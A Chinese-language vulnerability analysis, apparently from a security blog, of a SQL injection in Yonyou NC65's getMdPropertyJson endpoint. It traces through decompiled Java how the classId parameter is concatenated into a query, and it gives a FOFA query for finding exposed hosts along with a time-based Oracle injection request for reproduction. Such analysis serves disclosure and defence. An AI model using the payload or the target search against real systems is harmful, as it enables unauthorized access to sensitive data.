用友NC oauidesigner/getMdPropertyJson sql注入漏洞


漏洞简介

用友NC系统可利用 /portal/pt/oauidesigner/getMdPropertyJson 接口中的 classId 参数实现sql注入,从而窃取服务器的敏感信息。

影响版本

NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

本来是根据官方漏洞通告可知SQL注入点在 getMdPropertyJson 接口

因此搜索 getMdPropertyJson 方法的实现部分即可定位文件

nc/bs/oa/oaff/uidesigner/action/TemplatedesignerAction.class

package nc.bs.oa.oaff.uidesigner.action;

import java.net.URLDecoder;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.UUID;
import java.util.concurrent.CopyOnWriteArrayList;
import nc.bs.framework.common.NCLocator;
import nc.bs.oa.oaff.uidesigner.utils.CommonMethodUtil;
import nc.bs.oa.oaff.uidesigner.utils.FreemarkerUtil;
import nc.bs.oa.oaff.uidesigner.utils.JsonUtil;
import nc.bs.oa.oaff.uidesigner.utils.UICompConfigCacheHelper;
import nc.bs.oa.oaff.utils.mdUtil;
import nc.itf.oa.oaff.oafreeform.manage.IEnumMdManageService;
import nc.itf.oa.oaff.oafreeform.manage.IFormMdManageService;
import nc.itf.oa.oaff.oafreeform.manage.IFormtemplateManageService;
import nc.itf.oa.oaff.oafreeform.query.ICustomCompQueryService;
import nc.itf.oa.oaff.oafreeform.query.ICustomWidgetQueryService;
import nc.itf.oa.oaff.oafreeform.query.IEnumMdQueryService;
import nc.itf.oa.oaff.oafreeform.query.IFormMdQueryService;
import nc.itf.oa.oaff.oafreeform.query.IFormtemplateQueryService;
import nc.itf.oa.oaff.oafreeform.query.IFreeformQueryService;
import nc.uap.cpb.org.exception.CpbBusinessException;
import nc.uap.lfw.core.exception.LfwBusinessException;
import nc.uap.lfw.core.exception.LfwRuntimeException;
import nc.uap.lfw.core.log.LfwLogger;
import nc.uap.lfw.file.FileManager;
import nc.uap.lfw.file.vo.LfwFileVO;
import nc.uap.lfw.servletplus.annotation.Action;
import nc.uap.lfw.servletplus.annotation.Servlet;
import nc.uap.lfw.servletplus.core.impl.BaseAction;
import nc.uap.portal.log.PortalLogger;
import nc.vo.oa.oaff.customcomp.CustomCompVO;
import nc.vo.oa.oaff.oacomp.UICompConfig;
import nc.vo.oa.oaff.oatemplate.EnumMdVO;
import nc.vo.oaff.customwidget.CustomWidgetVO;
import nc.vo.oaff.oaformtemplate.OaFormTemplateVO;
import nc.vo.oaff.oafreeformcategory.OaFreeformVO;
import nc.vo.oaff.oafreeformmd.OaFreeformMdVO;
import nc.vo.pub.BusinessException;
import nc.vo.pub.lang.UFDateTime;
import org.apache.commons.lang.StringUtils;
import uap.lfw.dbl.cpdoc.itf.ICpCommomObjectQry;
import uap.lfw.dbl.cpdoc.itf.ICpDocSysAttrQry;
import uap.lfw.dbl.vo.CpDocAttributeVO;
import uap.lfw.dbl.vo.CpDocVO;
import uap.lfw.md.dao.IPropertyVOQuery;
import uap.lfw.md.vo.PropertyVO;
import uap.wap.bd.file.CPFileLockHelper;
import uap.wap.bd.file.CpFileLockVO;
import ufida.fasterxml.jackson.databind.ObjectMapper;

@Servlet(
    path = "/oauidesigner"
)

@Action
public void getMdPropertyJson() throws BusinessException {
    try {
        String mdIdStr = this.getRequest().getParameter("mdIdMap");
        String classId = this.getRequest().getParameter("classId");
        ObjectMapper maper = new ObjectMapper();
        HashMap<String, Integer> mdIdMap = (HashMap)maper.readValue(mdIdStr, HashMap.class);
        mdUtil.setMdIdMap(mdIdMap);
        IPropertyVOQuery propertyVOQuery = (IPropertyVOQuery)NCLocator.getInstance().lookup(IPropertyVOQuery.class);
        PropertyVO[] vos = new PropertyVO[0];

        try {
            vos = propertyVOQuery.getPropertyVOByCondition("classid='" + classId + "' order by ATTRSEQUENCE ");
        } catch (CpbBusinessException e) {
            LfwLogger.error(e.getMessage(), e.getCause());
            throw new LfwRuntimeException(e.getMessage());
        }

classId 参数直接拼接在SQL语句后,代入 getPropertyVOByCondition 函数,其实现逻辑如下

public PropertyVO[] getPropertyVOByCondition(String condition) throws CpbBusinessException {
    PropertyVO[] propertyvos = null;

    try {
        propertyvos = (PropertyVO[])(new PtBaseDAO()).queryByCondition(PropertyVO.class, condition);
        return propertyvos;
    } catch (DAOException e) {
        CpLogger.error(e.getMessage(), e);
        throw new CpbBusinessException(e.getMessage());
    }
}

继续代入 queryByCondition 函数,其实现逻辑如下

public SuperVO[] queryByCondition(Class voClass, String strWhere) throws DAOException {
    if (strWhere != null && strWhere.length() != 0) {
        strWhere = " (isnull(dr,0)=0) and " + strWhere;
    } else {
        strWhere = " (isnull(dr,0)=0) ";
    }

    PersistenceManager manager = null;

    SuperVO[] var5;
    try {
        manager = this.createPersistenceManager(this.dataSource);
        List list = (List)manager.retrieveByClause(voClass, strWhere);
        var5 = (SuperVO[])list.toArray((SuperVO[])Array.newInstance(voClass, 0));
    } catch (DbException e) {
        Logger.error(e.getMessage(), e);
        throw new DAOException(e.getMessage());
    } finally {
        if (manager != null) {
            manager.release();
        }

    }

    return var5;
}

strWhere 直接拼接到 and SQL语句后 代入 retrieveByClause 函数

继续跟踪 retrieveByClause 函数

public Collection retrieveByClause(Class className, String condition) throws DbException {
    return this.retrieveByClause(className, (String)condition, (String[])null);
}

public Collection retrieveByClause(Class className, String condition, String[] fields, SQLParameter parameters) throws DbException {
    BaseProcessor processor = new BeanListProcessor(className);
    return (Collection)this.session.executeQuery(this.buildSql(className, condition, fields), parameters, processor);
}

public Collection retrieveByClause(Class className, String condition, String[] fields) throws DbException {
    return this.retrieveByClause(className, (String)condition, (String[])fields, (SQLParameter)null);
}

最终 classId 参数拼接进SQL语句后由 buildSql 函数组装成SQL语句,最终调用 executeQuery 执行上面组合后的SQL语句,造成SQL注入漏洞。

image

漏洞复现

只是示例

GET /portal/pt/oauidesigner/getMdPropertyJson?pageId=login&mdIdMap=1&classId=1'AND+1=DBMS_PIPE.RECEIVE_MESSAGE('RDS',4)-- HTTP/1.1
Host: nc65.mrxn.net

参考

  • https://security.yonyou.com/#/noticeInfo?id=667

手机扫码阅读

万能门店小程序管理系统 /api/wxapps/doPageGetFormCon SQL 注入漏洞

万能门店小程序管理系统 /api/wxapps/doPageGuiz SQL 注入漏洞

评 论